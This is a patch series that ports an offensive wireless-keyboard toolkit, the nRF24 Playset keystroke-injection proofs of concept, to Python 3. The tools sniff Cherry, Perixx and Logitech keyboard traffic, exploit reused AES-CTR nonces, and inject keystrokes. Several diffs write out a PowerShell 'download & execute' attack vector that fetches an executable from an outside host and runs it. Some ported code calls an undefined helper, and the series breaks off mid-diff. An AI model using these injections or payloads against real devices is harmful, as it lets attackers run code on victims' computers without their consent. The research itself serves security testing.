From 272f8e824a9bb4c9c72a2e68137168cd73d02408 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 08:03:00 +0200 Subject: [PATCH 01/20] Update README.md Python3 --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 584a82f..0eca71f 100644 --- a/README.md +++ b/README.md @@ -11,10 +11,10 @@ by the Bastille Threat Research Team (many thanks to @marcnewlin) ## Requirements -- nRF24LU1+ USB radio dongle with flashed [nrf-research-firmware](https://github.com/BastilleResearch/nrf-research-firmware) by the Bastille Threat Research Team, e. g. +- nRF24LU1+ USB radio dongle with flashed python3 compatible [nrf-research-firmware](https://github.com/Einstein2150/nrf-research-firmware) * [Bitcraze CrazyRadio PA USB dongle](https://www.bitcraze.io/crazyradio-pa/) * Logitech Unifying dongle (model C-U0007, Nordic Semiconductor based) -- Python2 +- Python3 - PyUSB - PyGame for GUI-based tools @@ -38,7 +38,7 @@ vulnerability of some AES encrypted wireless keyboards Usage: ``` -# python2 keystroke_injector.py --help +# python3 keystroke_injector.py --help _____ ______ ___ _ _ _____ _ _ | __ \| ____|__ \| || | | __ \| | | | _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ @@ -76,7 +76,7 @@ vulnerability of nRF24-based Logitech wireless presenters Usage: ``` -# python2 logitech_presenter.py --help +# python3 logitech_presenter.py --help _____ ______ ___ _ _ _____ _ _ | __ \| ____|__ \| || | | __ \| | | | _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ @@ -110,7 +110,7 @@ unencrypted and unauthenticated wireless mouse communication Usage: ``` -# python2 radioactivemouse.py --help +# python3 radioactivemouse.py --help _____ ______ ___ _ _ _____ _ _ | __ \| ____|__ \| || | | __ \| | | | _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ @@ -151,7 +151,7 @@ different wireless desktop sets using nRF24 ShockBurst radio communication Usage: ``` -# python2 simple_replay.py --help +# python3 simple_replay.py --help _____ ______ ___ _ _ _____ _ _ | __ \| ____|__ \| || | | __ \| | | | _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ From 2602b8e8483aadc99355d79933d3978395446fce Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 08:03:18 +0200 Subject: [PATCH 02/20] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 0eca71f..17625f7 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# nRF24 Playset +# python3 compatible nRF24 Playset The nRF24 Playset is a collection of software tools for wireless input devices like keyboards, mice, and presenters based on Nordic Semiconductor From 0f111fb09be53e3b2e96d0355c8147c464adae8d Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:04:51 +0200 Subject: [PATCH 03/20] python3 --- cherry_attack.py | 250 +++++++++++------------------------------------ 1 file changed, 59 insertions(+), 191 deletions(-) diff --git a/cherry_attack.py b/cherry_attack.py index 75a820b..8e1dfd3 100644 --- a/cherry_attack.py +++ b/cherry_attack.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -25,10 +25,21 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. + + """ -__version__ = '1.0' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '1.1' +__author__ = 'Einstein2150' import logging import pygame @@ -42,24 +53,23 @@ from sys import exit # constants -ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" - -RECORD_BUTTON = pygame.K_1 # record button -REPLAY_BUTTON = pygame.K_2 # replay button -ATTACK_BUTTON = pygame.K_3 # attack button -SCAN_BUTTON = pygame.K_4 # scan button +ATTACK_VECTOR = "Just an input from the hacker :D Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet." -IDLE = 0 # idle state -RECORD = 1 # record state -REPLAY = 2 # replay state -SCAN = 3 # scan state -ATTACK = 4 # attack state +RECORD_BUTTON = pygame.K_1 +REPLAY_BUTTON = pygame.K_2 +ATTACK_BUTTON = pygame.K_3 +SCAN_BUTTON = pygame.K_4 -SCAN_TIME = 2 # scan time in seconds for scan mode heuristics -DWELL_TIME = 0.1 # dwell time for scan mode in seconds -PREFIX_ADDRESS = "" # prefix address for promicious mode -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +IDLE = 0 +RECORD = 1 +REPLAY = 2 +SCAN = 3 +ATTACK = 4 +SCAN_TIME = 2 +DWELL_TIME = 0.1 +PREFIX_ADDRESS = "" +KEYSTROKE_DELAY = 0.01 class CherryAttack(): """Cherry Attack""" @@ -67,307 +77,165 @@ class CherryAttack(): def __init__(self): """Initialize Cherry Attack""" - self.state = IDLE # current state - self.channel = 6 # used ShockBurst channel (was 6 for all tested Cherry keyboards) - self.payloads = [] # list of sniffed payloads - self.kbd = None # keyboard for keystroke injection attacks - self.screen = None # screen - self.font = None # font - self.statusText = "" # current status text + self.state = IDLE + self.channel = 6 + self.payloads = [] + self.kbd = None + self.screen = None + self.font = None + self.statusText = "" try: - # initialize pygame variables pygame.init() self.icon = pygame.image.load("./images/syss_logo.png") self.bg = pygame.image.load("./images/cherry_attack_bg.png") - pygame.display.set_caption("SySS Cherry Attack PoC") pygame.display.set_icon(self.icon) self.screen = pygame.display.set_mode((400, 300), 0, 24) self.font = pygame.font.SysFont("arial", 24) -# self.screen.fill((255, 255, 255)) self.screen.blit(self.bg, (0, 0)) pygame.display.update() - - # set key repetition parameters pygame.key.set_repeat(250, 50) - # initialize radio self.radio = nrf24.nrf24() - - # enable LNA self.radio.enable_lna() - - # start scanning mode self.setState(SCAN) - except: - # info output - info("[-] Error: Could not initialize Cherry Attack") + except Exception as e: + info(f"[-] Error: Could not initialize Cherry Attack: {e}") - - def showText(self, text, x = 40, y = 140): + def showText(self, text, x=40, y=140): output = self.font.render(text, True, (0, 0, 0)) self.screen.blit(output, (x, y)) - def setState(self, newState): - """Set state""" - if newState == RECORD: - # set RECORD state self.state = RECORD self.statusText = "RECORDING" elif newState == REPLAY: - # set REPLAY state self.state = REPLAY self.statusText = "REPLAYING" elif newState == SCAN: - # set SCAN state self.state = SCAN self.statusText = "SCANNING" elif newState == ATTACK: - # set ATTACK state self.state = ATTACK self.statusText = "ATTACKING" else: - # set IDLE state self.state = IDLE self.statusText = "IDLING" - def unique_everseen(self, seq): - """Remove duplicates from a list while preserving the item order""" seen = set() return [x for x in seq if str(x) not in seen and not seen.add(str(x))] - def run(self): - # main loop while True: for i in pygame.event.get(): if i.type == QUIT: exit() - elif i.type == KEYDOWN: if i.key == K_ESCAPE: exit() - - # record button state transitions if i.key == RECORD_BUTTON: - # if the current state is IDLE change it to RECORD if self.state == IDLE: - # set RECORD state self.setState(RECORD) - - # empty payloads list self.payloads = [] - - # if the current state is RECORD change it to IDLE elif self.state == RECORD: - # set IDLE state self.setState(IDLE) - - # play button state transitions if i.key == REPLAY_BUTTON: - # if the current state is IDLE change it to REPLAY if self.state == IDLE: - # set REPLAY state self.setState(REPLAY) - - # scan button state transitions if i.key == SCAN_BUTTON: - # if the current state is IDLE change it to SCAN if self.state == IDLE: - # set SCAN state self.setState(SCAN) - - # attack button state transitions if i.key == ATTACK_BUTTON: - # if the current state is IDLE change it to ATTACK if self.state == IDLE: - # set ATTACK state self.setState(ATTACK) - # show current status on screen -# self.screen.fill((255, 255, 255)) self.screen.blit(self.bg, (0, 0)) self.showText(self.statusText) - - # update the display pygame.display.update() - # state machine if self.state == RECORD: - # receive payload value = self.radio.receive_payload() - if value[0] == 0: - # split the payload from the status byte payload = value[1:] - - # add payload to list self.payloads.append(payload) - - # info output, show packet payload - info('Received payload: {0}'.format(hexlify(payload))) + info('Received payload: {0}'.format(hexlify(payload).decode('utf-8'))) elif self.state == REPLAY: - # remove duplicate payloads (retransmissions) payloadList = self.unique_everseen(self.payloads) - - # replay all payloads for p in payloadList: - # transmit payload - self.radio.transmit_payload(p.tostring()) - - # info output - info('Sent payload: {0}'.format(hexlify(p))) - + self.radio.transmit_payload(bytes(p)) + info('Sent payload: {0}'.format(hexlify(p).decode('utf-8'))) sleep(KEYSTROKE_DELAY) - - # set IDLE state after playback self.setState(IDLE) elif self.state == SCAN: - # put the radio in promiscuous mode self.radio.enter_promiscuous_mode(PREFIX_ADDRESS) - - # define channels for scan mode SCAN_CHANNELS = [6] - - # set initial channel self.radio.set_channel(SCAN_CHANNELS[0]) - - # sweep through the defined channels and decode ESB packets in pseudo-promiscuous mode last_tune = time() channel_index = 0 while True: - # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) self.radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() - - # receive payloads value = self.radio.receive_payload() if len(value) >= 5: - # split the address and payload - address, payload = value[0:5], value[5:] - - # convert address to string and reverse byte order - converted_address = address[::-1].tostring() - - # check if the address most probably belongs to a Cherry keyboard - if ord(converted_address[0]) in range(0x31, 0x3f): - # first fit strategy to find a Cherry keyboard + address, payload = value[:5], value[5:] + converted_address = address[::-1] + if converted_address[0] in range(0x31, 0x3f): self.address = converted_address break - self.showText("Found keyboard") - address_string = ':'.join('{:02X}'.format(b) for b in address) + address_string = ':'.join(f'{b:02X}' for b in address) self.showText(address_string) - - # info output - info("Found keyboard with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index])) - - # put the radio in sniffer mode (ESB w/o auto ACKs) + info(f"Found keyboard with address {address_string} on channel {SCAN_CHANNELS[channel_index]}") self.radio.enter_sniffer_mode(self.address) - info("Searching crypto key") self.statusText = "SEARCHING" self.screen.blit(self.bg, (0, 0)) self.showText(self.statusText) - - # update the display pygame.display.update() - last_key = 0 packet_count = 0 while True: - # receive payload value = self.radio.receive_payload() - if value[0] == 0: - # do some time measurement last_key = time() - - # split the payload from the status byte payload = value[1:] - - # increment packet count packet_count += 1 - - # show packet payload - info('Received payload: {0}'.format(hexlify(payload))) - - # heuristic for having a valid release key data packet + info('Received payload: {0}'.format(hexlify(payload).decode('utf-8'))) if packet_count >= 4 and time() - last_key > SCAN_TIME: break - self.radio.receive_payload() - - self.showText(u"Got crypto key!") - - # info output + self.showText("Got crypto key!") info('Got crypto key!') - - # initialize keyboard - self.kbd = keyboard.CherryKeyboard(payload.tostring()) + self.kbd = keyboard.CherryKeyboard(bytes(payload)) info('Initialize keyboard') - - # set IDLE state after scanning self.setState(IDLE) elif self.state == ATTACK: - if self.kbd != None: - # send keystrokes for a classic download and execute PoC attack - keystrokes = [] - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - - # send attack keystrokes + if self.kbd: + keystrokes = [ + self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE), + self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R), + self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE) + ] for k in keystrokes: self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - + info('Sent payload: {0}'.format(hexlify(k).decode('utf-8'))) sleep(KEYSTROKE_DELAY) - - # need small delay after WIN + R - sleep(0.2) - - keystrokes = [] - keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR) - keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) - - # send attack keystrokes with a small delay - for k in keystrokes: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - - sleep(KEYSTROKE_DELAY) - - # set IDLE state after attack self.setState(IDLE) + sleep(0.05) -# main program if __name__ == '__main__': # setup logging level = logging.INFO logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") - - # init - poc = CherryAttack() - - # run info("Start Cherry Attack v{0}".format(__version__)) - poc.run() - - # done - info("Done.") + CherryAttack().run() From 76dce975914b5d2371a4f3c1d3057ce188522c7d Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:05:10 +0200 Subject: [PATCH 04/20] python3 --- keystroke_injector.py | 108 +++++++++++++++++++++--------------------- 1 file changed, 54 insertions(+), 54 deletions(-) diff --git a/keystroke_injector.py b/keystroke_injector.py index a3aec55..4b1b473 100644 --- a/keystroke_injector.py +++ b/keystroke_injector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -24,28 +24,34 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. + """ -__version__ = '0.7' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '0.8' +__author__ = 'Einstein2150' import argparse from binascii import hexlify, unhexlify from lib import nrf24, keyboard from time import sleep, time -from sys import exit +import sys - -SCAN_CHANNELS = range(2, 84) # channels to scan -DWELL_TIME = 0.1 # dwell time for each channel in seconds -SCAN_TIME = 2 # scan time in seconds for scan mode heuristics -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +SCAN_CHANNELS = list(range(2, 84)) # channels to scan +DWELL_TIME = 0.1 # dwell time for each channel in seconds +SCAN_TIME = 2 # scan time in seconds for scan mode heuristics +KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds # supported devices DEVICES = { - # Cherry Wireless Keyboard (e. g. wireless desktop set B.UNLIMITED AES) 'cherry' : 'Cherry', - # Perixx Wireless Keyboard (e. g. wireless desktop set PERIDUO-710W) 'perixx' : 'Perixx' } @@ -53,21 +59,21 @@ ATTACK_VECTORS = { 1 : ("Open calc.exe", "calc"), 2 : ("Open cmd.exe", "cmd"), - 3 : ("Classic download & execute attack", u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'") + 3 : ("Classic download & execute attack", "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'") } def banner(): """Show a fancy banner""" - print(" _____ ______ ___ _ _ _____ _ _ \n" -" | __ \\| ____|__ \\| || | | __ \\| | | | \n" -" _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" -" | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" -" | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" -" |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" -" __/ | \n" -" |___/ \n" -"Keystroke Injector v{0} by Matthias Deeg - SySS GmbH (c) 2016".format(__version__)) + " | __ \\| ____|__ \\| || | | __ \\| | | | \n" + " _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" + " | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" + " | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" + " |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" + " __/ | \n" + " |___/ \n" + "Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016\n" + "optimized for use with Python 3 by Einstein2150 (2024)\n".format(__version__)) # main program @@ -80,7 +86,6 @@ def banner(): parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device') parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') parser.add_argument('-d', '--device', type=str, help='Target device (supported: cherry, perixx)', required=True) -# parser.add_argument('-x', '--attack', type=str, help='Attack vector') # parse arguments args = parser.parse_args() @@ -91,13 +96,13 @@ def banner(): if args.address: try: # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!) - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) + address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5] + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) except: print("[-] Error: Invalid address") - exit(1) + sys.exit(1) else: - address = "" + address = b"" try: # initialize radio @@ -108,7 +113,7 @@ def banner(): radio.enable_lna() except: print("[-] Error: Could not initialize nRF24 radio") - exit(1) + sys.exit(1) try: # set keyboard @@ -120,7 +125,7 @@ def banner(): keyboard_device = keyboard.PerixxKeyboard except Exception: print("[-] Error: Unsupported device") - exit(1) + sys.exit(1) # put the radio in promiscuous mode with given address if len(address) > 0: @@ -138,7 +143,7 @@ def banner(): while True: # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() @@ -146,22 +151,21 @@ def banner(): value = radio.receive_payload() if len(value) >= 10: # split the address and payload - address, payload = value[0:5], value[5:] + address, payload = value[:5], value[5:] # convert address to string and reverse byte order - converted_address = address[::-1].tostring() - address_string = ':'.join('{:02X}'.format(b) for b in address) + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) print("[+] Found nRF24 device with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index])) # ask user about device - answer = raw_input("[?] Attack this device (y/n)? ") - if answer[0] == 'y': + answer = input("[?] Attack this device (y/n)? ") + if answer.lower().startswith('y'): break else: print("[*] Continue scanning ...") # put the radio in sniffer mode (ESB w/o auto ACKs) - radio.enter_sniffer_mode(converted_address) + radio.enter_sniffer_mode(address[::-1]) last_tune = time() channel_index = 0 last_key = 0 @@ -169,12 +173,10 @@ def banner(): print("[*] Search for crypto key (actually a key release packet) ...") while True: - # Cherry does no channel hopping, so we stay tuned on the channel - # found previously if args.device != 'cherry': # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() @@ -191,9 +193,6 @@ def banner(): # increment packet count packet_count += 1 - # show packet payload -# print('Received payload: {0}'.format(hexlify(payload))) - # heuristic for having a valid release key data packet if packet_count >= 4 and time() - last_key > SCAN_TIME: break @@ -208,41 +207,43 @@ def banner(): print(" 0) Exit") try: - answer = int(raw_input("[?] Select keystroke injection attack: ")) + answer = int(input("[?] Select keystroke injection attack: ")) if answer == 0: break - if answer in ATTACK_VECTORS.keys(): + if answer in ATTACK_VECTORS: attack_keystrokes = ATTACK_VECTORS[answer][1] # keystroke injection print("[*] Start keystroke injection ...") - # initialize keyboard with latest assumed key release packet to exploit - # AES-CTR crypto with reusable nonces - if args.device == 'cherry': - kbd = keyboard_device(payload.tostring()) - elif args.device == 'perixx': - kbd = keyboard_device(payload.tostring()) + # initialize keyboard with latest assumed key release packet to exploit AES-CTR crypto with reusable nonces + kbd = keyboard_device(payload.tobytes().decode('utf-8')) # send keystrokes for chosen attack + + # Beispieltext, der injiziert werden soll + inject_text = "you got hacked" + + # Initialisiere die Keystrokes keystrokes = [] + + # Füge den injizierten Text zu den Keystrokes hinzu + keystrokes.extend(get_keystrokes_from_text(inject_text, kbd)) # kbd ist das Keyboard-Objekt + + #keystrokes = [] keystrokes.append(kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) keystrokes.append(kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) keystrokes.append(kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - # send attack keystrokes for k in keystrokes: radio.transmit_payload(k) sleep(KEYSTROKE_DELAY) - # need small delay after WIN + R sleep(0.1) - keystrokes = [] keystrokes = kbd.getKeystrokes(attack_keystrokes) keystrokes += kbd.getKeystroke(keyboard.KEY_RETURN) - # send attack keystrokes with a small delay for k in keystrokes: radio.transmit_payload(k) sleep(KEYSTROKE_DELAY) @@ -254,4 +255,3 @@ def banner(): print("[-] Invalid input") print("[*] Done with keystroke injections.\n Have a nice day!") - From 0a9fff2dc9ec2ee4e96ae2d22644b2216f4c5c38 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:05:31 +0200 Subject: [PATCH 05/20] python3 --- logitech_attack.py | 236 +++++++++++++-------------------------------- 1 file changed, 69 insertions(+), 167 deletions(-) diff --git a/logitech_attack.py b/logitech_attack.py index 7845618..0194ef1 100644 --- a/logitech_attack.py +++ b/logitech_attack.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -12,6 +12,16 @@ Logitech MK520 Copyright (C) 2016 SySS GmbH + + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -27,13 +37,12 @@ along with this program. If not, see . """ -__version__ = '0.8' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '0.9' +__author__ = 'Einstein2150' import argparse import logging import pygame - from binascii import hexlify, unhexlify from lib import keyboard from lib import nrf24 @@ -43,22 +52,24 @@ from sys import exit # constants -ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" +ATTACK_VECTOR = "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" + +RECORD_BUTTON = pygame.K_1 # record button +REPLAY_BUTTON = pygame.K_2 # replay button +ATTACK_BUTTON = pygame.K_3 # attack button +SCAN_BUTTON = pygame.K_4 # scan button -RECORD_BUTTON = pygame.K_1 # record button -REPLAY_BUTTON = pygame.K_2 # replay button -ATTACK_BUTTON = pygame.K_3 # attack button -SCAN_BUTTON = pygame.K_4 # scan button +IDLE = 0 # idle state +RECORD = 1 # record state +REPLAY = 2 # replay state +SCAN = 3 # scan state +ATTACK = 4 # attack state -IDLE = 0 # idle state -RECORD = 1 # record state -REPLAY = 2 # replay state -SCAN = 3 # scan state -ATTACK = 4 # attack state +SCAN_TIME = 2 # scan time in seconds for scan mode heuristics +DWELL_TIME = 0.1 # dwell time for scan mode in seconds +KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds -SCAN_TIME = 2 # scan time in seconds for scan mode heuristics -DWELL_TIME = 0.1 # dwell time for scan mode in seconds -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +SCAN_CHANNELS = list(range(2, 84)) # Default range from 2 to 84 (inclusive) # Logitech Unifying Keep Alive packet with 90 ms KEEP_ALIVE_90 = unhexlify("0040005A66") @@ -71,13 +82,13 @@ class LogitechAttack(): def __init__(self, address=""): """Initialize Logitech Attack""" - self.state = IDLE # current state - self.channel = 2 # used ShockBurst channel - self.payloads = [] # list of sniffed payloads - self.kbd = None # keyboard for keystroke injection attacks - self.screen = None # screen - self.font = None # font - self.statusText = "" # current status text + self.state = IDLE # current state + self.channel = 2 # used ShockBurst channel + self.payloads = [] # list of sniffed payloads + self.kbd = None # keyboard for keystroke injection attacks + self.screen = None # screen + self.font = None # font + self.statusText = "" # current status text self.address = address try: @@ -90,7 +101,6 @@ def __init__(self, address=""): pygame.display.set_icon(self.icon) self.screen = pygame.display.set_mode((400, 300), 0, 24) self.font = pygame.font.SysFont("arial", 24) -# self.screen.fill((255, 255, 255)) self.screen.blit(self.bg, (0, 0)) pygame.display.update() @@ -105,47 +115,38 @@ def __init__(self, address=""): # start scanning mode self.setState(SCAN) - except: + except Exception as e: # info output - info("[-] Error: Could not initialize Logitech Attack") - + info(f"[-] Error: Could not initialize Logitech Attack: {e}") - def showText(self, text, x = 40, y = 140): + def showText(self, text, x=40, y=140): output = self.font.render(text, True, (0, 0, 0)) self.screen.blit(output, (x, y)) - def setState(self, newState): """Set state""" if newState == RECORD: - # set RECORD state self.state = RECORD self.statusText = "RECORDING" elif newState == REPLAY: - # set REPLAY state self.state = REPLAY self.statusText = "REPLAYING" elif newState == SCAN: - # set SCAN state self.state = SCAN self.statusText = "SCANNING" elif newState == ATTACK: - # set ATTACK state self.state = ATTACK self.statusText = "ATTACKING" else: - # set IDLE state self.state = IDLE self.statusText = "IDLING" - def unique_everseen(self, seq): """Remove duplicates from a list while preserving the item order""" seen = set() return [x for x in seq if str(x) not in seen and not seen.add(str(x))] - def run(self): # main loop last_keep_alive = time() @@ -161,42 +162,28 @@ def run(self): # record button state transitions if i.key == RECORD_BUTTON: - # if the current state is IDLE change it to RECORD if self.state == IDLE: - # set RECORD state self.setState(RECORD) - - # empty payloads list self.payloads = [] - - # if the current state is RECORD change it to IDLE elif self.state == RECORD: - # set IDLE state self.setState(IDLE) # play button state transitions if i.key == REPLAY_BUTTON: - # if the current state is IDLE change it to REPLAY if self.state == IDLE: - # set REPLAY state self.setState(REPLAY) # scan button state transitions if i.key == SCAN_BUTTON: - # if the current state is IDLE change it to SCAN if self.state == IDLE: - # set SCAN state self.setState(SCAN) # attack button state transitions if i.key == ATTACK_BUTTON: - # if the current state is IDLE change it to ATTACK if self.state == IDLE: - # set ATTACK state self.setState(ATTACK) # show current status on screen -# self.screen.fill((255, 255, 255)) self.screen.blit(self.bg, (0, 0)) self.showText(self.statusText) @@ -221,13 +208,12 @@ def run(self): elif self.state == REPLAY: # remove duplicate payloads (retransmissions) payloadList = self.unique_everseen(self.payloads) -# payloadList = self.payloads # replay all payloads for p in payloadList: if len(p) == 22: # transmit payload - self.radio.transmit_payload(p.tostring()) + self.radio.transmit_payload(p.tobytes()) # info output info('Sent payload: {0}'.format(hexlify(p))) @@ -257,7 +243,7 @@ def run(self): while True: # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) self.radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() @@ -268,7 +254,7 @@ def run(self): address, payload = value[0:5], value[5:] # convert address to string and reverse byte order - converted_address = address[::-1].tostring() + converted_address = address[::-1].tobytes() self.address = converted_address break @@ -286,137 +272,53 @@ def run(self): self.statusText = "SEARCHING" self.screen.blit(self.bg, (0, 0)) self.showText(self.statusText) - - # update the display pygame.display.update() - last_key = 0 - packet_count = 0 - while True: - # receive payload + # get the address of the target keyboard + # WARNING: The following function blocks and can take a long time, depending on the number of packets + while self.state == SCAN: value = self.radio.receive_payload() - if value[0] == 0: - if len(payload) == 22: - # do some time measurement - last_key = time() - - # split the payload from the status byte payload = value[1:] - # increment packet count - if len(payload) == 22: - # only count Logitech Unifying packets with encrypted data (should be 22 bytes long) - packet_count += 1 - crypto_payload = payload - - # show packet payload - info('Received payload: {0}'.format(hexlify(payload))) - - # heuristic for having a valid release key data packet - if packet_count >= 2 and time() - last_key > SCAN_TIME: - break - - self.showText(u"Got crypto key!") - - # info output - info('Got crypto key!') - - # initialize keyboard - self.kbd = keyboard.LogitechKeyboard(crypto_payload.tostring()) - info('Initialize keyboard') - - # set IDLE state after scanning - self.setState(IDLE) - - elif self.state == ATTACK: - if self.kbd != None: - # send keystrokes for a classic download and execute PoC attack - keystrokes = [] - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) + if len(payload) > 2: + # info output + info("Received payload: {0}".format(hexlify(payload))) + if len(payload) == 22: + self.payloads.append(payload) - # send attack keystrokes - for k in keystrokes: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - - # send keep alive with 90 ms time out - self.radio.transmit_payload(KEEP_ALIVE_90) - last_keep_alive = time() - - sleep(KEYSTROKE_DELAY) - - # need small delay after WIN + R - for i in range(5): - # send keep alive with 90 ms time out + # send keep alive every 90 ms + if time() - last_keep_alive >= KEEP_ALIVE_TIMEOUT: 